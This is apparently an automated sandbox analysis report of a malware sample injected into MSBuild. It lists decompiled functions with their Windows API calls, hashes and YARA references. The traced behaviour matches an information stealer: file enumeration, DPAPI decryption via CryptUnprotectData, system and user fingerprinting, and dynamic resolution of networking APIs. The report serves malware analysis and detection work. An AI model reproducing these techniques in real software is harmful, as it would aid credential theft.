Instruction Fuzzy Hash: 3B91A776900104ABCB14FBB1EC469ED733DAF84304F40856EF81A961C1EE389B5DCB9A

Function 0040E430 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420D73), ref: 0040E4A2
StrCmpCA.SHLWAPI(?,004214F8), ref: 0040E4F2
StrCmpCA.SHLWAPI(?,004214FC), ref: 0040E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EBDF

Strings

@, xrefs: 0040EBF5, 0040E5EB, 0040E71C, 0040E85B, 0040E4B9, 0040E5EE, 0040E71F, 0040E85E
\*.*, xrefs: 0040E44D

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*$@
API String ID: 433455689-2355794846
Opcode ID: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction ID: 32b04220dc81db1066fec36fe382e2e0147ddb409d88bf53f78a4e8ff9751907
Opcode Fuzzy Hash: 35ab6377c1e2dc3a184180762d54057be005264d6edcd4861ea76ca11900a53d
Instruction Fuzzy Hash: 2612D5719111189ACB14FB71DD96EED7338AF54314F4045AEB00A62091EF386FDACFAA

Function 00417B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
LocalFree.KERNEL32(00000000), ref: 00417D22

Strings

/ , xrefs: 00417C7F

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction ID: 4337a3d4516c1007e731de4e6e4702528bfdb1ea37c67bd3aa396c5a1b158d15
Opcode Fuzzy Hash: 08381a4b7f1aa01ac9a5d03d4b0a0666cc02ab67458fdc9de76e0bd8478d1419
Instruction Fuzzy Hash: 6B415E71941118ABDB24DB94DC99FEEB378FF44714F20419AE10962281DB382FC6CFA5

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01405EA0,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01405EA0,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01405EA0,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00417850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A
ExitProcess.KERNEL32 ref: 0040117E

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013FECA0), ref: 00419C2D
GetProcAddress.KERNEL32(75900000,013FEC60), ref: 00419C45
GetProcAddress.KERNEL32(75900000,013FAD90), ref: 00419C5E
GetProcAddress.KERNEL32(75900000,013FAE50), ref: 00419C76
GetProcAddress.KERNEL32(75900000,013FAEE0), ref: 00419C8E
GetProcAddress.KERNEL32(75900000,013FAE80), ref: 00419CA7
GetProcAddress.KERNEL32(75900000,014002D0), ref: 00419CBF
GetProcAddress.KERNEL32(75900000,013FAEF8), ref: 00419CD7
GetProcAddress.KERNEL32(75900000,013FAD18), ref: 00419CF0
GetProcAddress.KERNEL32(75900000,013FAF28), ref: 00419D08
GetProcAddress.KERNEL32(75900000,013FADA8), ref: 00419D20
GetProcAddress.KERNEL32(75900000,013FEA80), ref: 00419D39
GetProcAddress.KERNEL32(75900000,013FEB20), ref: 00419D51
GetProcAddress.KERNEL32(75900000,013FEBC0), ref: 00419D69
GetProcAddress.KERNEL32(75900000,013FEAA0), ref: 00419D82
GetProcAddress.KERNEL32(75900000,013FADC0), ref: 00419D9A
GetProcAddress.KERNEL32(75900000,013FAC40), ref: 00419DB2
GetProcAddress.KERNEL32(75900000,013FFFB0), ref: 00419DCB
GetProcAddress.KERNEL32(75900000,013FEAC0), ref: 00419DE3
GetProcAddress.KERNEL32(75900000,013FAC58), ref: 00419DFB
GetProcAddress.KERNEL32(75900000,013FAC70), ref: 00419E14
GetProcAddress.KERNEL32(75900000,013FAFA0), ref: 00419E2C
GetProcAddress.KERNEL32(75900000,013FAFE8), ref: 00419E44
GetProcAddress.KERNEL32(75900000,013FEC00), ref: 00419E5D
GetProcAddress.KERNEL32(75900000,013FAFD0), ref: 00419E75
GetProcAddress.KERNEL32(75900000,013FAFB8), ref: 00419E8D
GetProcAddress.KERNEL32(75900000,013FAF40), ref: 00419EA6
GetProcAddress.KERNEL32(75900000,013FAF88), ref: 00419EBE
GetProcAddress.KERNEL32(75900000,013FB000), ref: 00419ED6
GetProcAddress.KERNEL32(75900000,013FAF58), ref: 00419EEF
GetProcAddress.KERNEL32(75900000,013FAF70), ref: 00419F07
GetProcAddress.KERNEL32(75900000,014050F8), ref: 00419F1F
GetProcAddress.KERNEL32(75900000,01405140), ref: 00419F38
GetProcAddress.KERNEL32(75900000,013F9610), ref: 00419F50
GetProcAddress.KERNEL32(75900000,01405338), ref: 00419F68
GetProcAddress.KERNEL32(75900000,014051E8), ref: 00419F81
GetProcAddress.KERNEL32(75900000,013FED20), ref: 00419F99
GetProcAddress.KERNEL32(75900000,01405110), ref: 00419FB1
GetProcAddress.KERNEL32(75900000,013FEC40), ref: 00419FCA
GetProcAddress.KERNEL32(75900000,01405290), ref: 00419FE2
GetProcAddress.KERNEL32(75900000,014052A8), ref: 00419FFA
GetProcAddress.KERNEL32(75900000,013FEAE0), ref: 0041A013
GetProcAddress.KERNEL32(75900000,013FED80), ref: 0041A02B
LoadLibraryA.KERNEL32(01405188,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNEL32(01405128,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNEL32(014053B0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNEL32(01405320,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNEL32(014052C0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNEL32(01405350,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNEL32(014050E0,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNEL32(01405218,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8
GetProcAddress.KERNEL32(75FD0000,013FEB60), ref: 0041A0DA
GetProcAddress.KERNEL32(75FD0000,01405158), ref: 0041A0F2
GetProcAddress.KERNEL32(75FD0000,01405088), ref: 0041A10A
GetProcAddress.KERNEL32(75FD0000,014052D8), ref: 0041A123
GetProcAddress.KERNEL32(75FD0000,013FEB40), ref: 0041A13B
GetProcAddress.KERNEL32(735A0000,014000F0), ref: 0041A160
GetProcAddress.KERNEL32(735A0000,013FEB80), ref: 0041A179
GetProcAddress.KERNEL32(735A0000,014002F8), ref: 0041A191
GetProcAddress.KERNEL32(735A0000,01405368), ref: 0041A1A9
GetProcAddress.KERNEL32(735A0000,01405308), ref: 0041A1C2
GetProcAddress.KERNEL32(735A0000,013FEBE0), ref: 0041A1DA
GetProcAddress.KERNEL32(735A0000,013FEC20), ref: 0041A1F2
GetProcAddress.KERNEL32(735A0000,01405230), ref: 0041A20B
GetProcAddress.KERNEL32(763B0000,013FEC80), ref: 0041A22C
GetProcAddress.KERNEL32(763B0000,013FECC0), ref: 0041A244
GetProcAddress.KERNEL32(763B0000,01405380), ref: 0041A25D
GetProcAddress.KERNEL32(763B0000,01405398), ref: 0041A275
GetProcAddress.KERNEL32(763B0000,013FED00), ref: 0041A28D
GetProcAddress.KERNEL32(750F0000,01400320), ref: 0041A2B3
GetProcAddress.KERNEL32(750F0000,013FFF88), ref: 0041A2CB
GetProcAddress.KERNEL32(750F0000,014051A0), ref: 0041A2E3
GetProcAddress.KERNEL32(750F0000,01405868), ref: 0041A2FC
GetProcAddress.KERNEL32(750F0000,01405808), ref: 0041A314
GetProcAddress.KERNEL32(750F0000,01400000), ref: 0041A32C
GetProcAddress.KERNEL32(75A50000,014053C8), ref: 0041A352
GetProcAddress.KERNEL32(75A50000,01405888), ref: 0041A36A
GetProcAddress.KERNEL32(75A50000,01404FC8), ref: 0041A382
GetProcAddress.KERNEL32(75A50000,014051B8), ref: 0041A39B
GetProcAddress.KERNEL32(75A50000,014051D0), ref: 0041A3B3
GetProcAddress.KERNEL32(75A50000,01405708), ref: 0041A3CB
GetProcAddress.KERNEL32(75A50000,014058C8), ref: 0041A3E4
GetProcAddress.KERNEL32(75A50000,01405170), ref: 0041A3FC
GetProcAddress.KERNEL32(75A50000,014052F0), ref: 0041A414
GetProcAddress.KERNEL32(75070000,01405628), ref: 0041A436
GetProcAddress.KERNEL32(75070000,01405200), ref: 0041A44E
GetProcAddress.KERNEL32(75070000,01405248), ref: 0041A466
GetProcAddress.KERNEL32(75070000,01405260), ref: 0041A47F
GetProcAddress.KERNEL32(75070000,01405278), ref: 0041A497
GetProcAddress.KERNEL32(74E50000,01405568), ref: 0041A4B8
GetProcAddress.KERNEL32(74E50000,01405748), ref: 0041A4D1
GetProcAddress.KERNEL32(75320000,01405828), ref: 0041A4F2
GetProcAddress.KERNEL32(75320000,01405458), ref: 0041A50A
GetProcAddress.KERNEL32(6F060000,014054E8), ref: 0041A530
GetProcAddress.KERNEL32(6F060000,014056E8), ref: 0041A548
GetProcAddress.KERNEL32(6F060000,01405668), ref: 0041A560
GetProcAddress.KERNEL32(6F060000,014053F8), ref: 0041A579
GetProcAddress.KERNEL32(6F060000,01405728), ref: 0041A591
GetProcAddress.KERNEL32(6F060000,01405768), ref: 0041A5A9
GetProcAddress.KERNEL32(6F060000,014057E8), ref: 0041A5C2
GetProcAddress.KERNEL32(6F060000,014056A8), ref: 0041A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0041A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0041A607
GetProcAddress.KERNEL32(74E00000,01405428), ref: 0041A629
GetProcAddress.KERNEL32(74E00000,01404F58), ref: 0041A641
GetProcAddress.KERNEL32(74E00000,01405410), ref: 0041A659
GetProcAddress.KERNEL32(74E00000,01405440), ref: 0041A672
